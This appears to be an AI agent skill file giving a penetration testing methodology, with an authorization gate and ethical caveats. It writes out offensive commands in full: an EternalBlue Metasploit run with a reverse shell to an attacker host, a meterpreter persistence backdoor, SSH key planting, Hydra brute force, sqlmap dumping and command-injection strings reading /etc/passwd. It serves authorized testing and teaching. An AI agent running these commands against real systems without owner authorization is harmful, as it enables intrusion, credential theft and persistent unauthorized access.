Ethical hacking methodology

From sickn33/agentic-awesome-skills · View interactive version

Ethical hacking methodology is an AI agent skill from the GitHub repository sickn33/agentic-awesome-skills. Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

How to use this skill

Skill file

⚠️ AUTHORIZED USE ONLY

This skill is for educational purposes or authorized security assessments only.

You must have explicit, written permission from the system owner before using this tool.

Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate

Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.

2. Ask the user to confirm written authorization and the permitted scope.

3. Show the exact command(s) and explain their expected effect.

4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

Required Knowledge

Outputs and Deliverables

  1. Reconnaissance Report - Target information gathered
  2. Vulnerability Assessment - Identified weaknesses
  3. Exploitation Evidence - Proof of concept attacks
  4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

Black Hat Hackers (Malicious)

Grey Hat Hackers (Hybrid)

Other Classifications

Phase 2: Reconnaissance

Separate third-party passive research from DNS lookups and tools that may directly contact infrastructure. DNS enumeration and dnsrecon are not guaranteed passive:

Passive Reconnaissance

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

Social Media Reconnaissance

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

| Port | Service | Notes |

|------|---------|-------|

| 21 | FTP | File transfer |

| 22 | SSH | Secure shell |

| 23 | Telnet | Unencrypted remote |

| 25 | SMTP | Email |

| 53 | DNS | Name resolution |

| 80 | HTTP | Web |

| 443 | HTTPS | Secure web |

| 445 | SMB | Windows shares |

| 3306 | MySQL | Database |

| 3389 | RDP | Remote desktop |

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.

Web Application Testing (OWASP)

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Controlled Access Validation

Persistence is not a routine assessment step. Prefer a disposable lab; any persistence simulation requires separate explicit scope, an expiry, owner-visible artifacts and verified cleanup. Preserve logs and never conceal activity.

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.

Privilege Escalation

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

Evidence Preservation and Cleanup

Phase 7: Reporting

Document findings professionally:

Report Structure

  1. Executive Summary
  1. Technical Findings
  1. Risk Ratings
  1. Remediation Recommendations
  1. Appendices

Phase 8: Common Attack Types

Phishing

Malware Types

Network Attacks

Phase 9: Kali Linux Setup

Install penetration testing platform:

Hard Disk Installation

  1. Download ISO from kali.org
  2. Boot from installation media
  3. Select "Graphical Install"
  4. Configure language, location, keyboard
  5. Set hostname and root password
  6. Partition disk (Guided - use entire disk)
  7. Install GRUB bootloader
  8. Reboot and login

Live USB (Persistent)

# Create bootable USB
# Destructive: verify ISO checksum, actual device identity and backup first.
# /dev/sdb is only a placeholder; selecting a system disk destroys data.
dd if=kali-linux.iso of=/dev/VERIFIED_USB_DEVICE bs=512k status=progress

# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"

# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Phase 10: Ethical Guidelines

Legal Requirements

Professional Conduct

Quick Reference

Penetration Testing Lifecycle

| Stage | Purpose | Key Tools |

|-------|---------|-----------|

| Reconnaissance | Gather information | theHarvester, WHOIS, Google |

| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |

| Exploitation | Gain access | Metasploit, SQLMap, Hydra |

| Maintaining Access | Persistence | Meterpreter, SSH keys |

| Reporting | Document findings | Report templates |

Essential Commands

| Command | Purpose |

|---------|---------|

| nmap -sV target | Port and service scan |

| nikto -h target | Web vulnerability scan |

| msfconsole | Start Metasploit |

| hydra -l user -P list ssh://target | SSH brute force |

| sqlmap -u "url?id=1" --dbs | SQL injection |

Constraints and Limitations

Authorization Required

Professional Standards

Troubleshooting

Scans Blocked

Solutions:

  1. Use slower scan rates
  2. Check scope, rate limits and the agreed test source IP
  3. Coordinate allowlisting or a safer test window with the owner
  4. Do not bypass blocking controls without separate authorization

Exploits Failing

Solutions:

  1. Verify target vulnerability exists
  2. Check payload compatibility
  3. Adjust exploit parameters
  4. Try alternative exploits

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.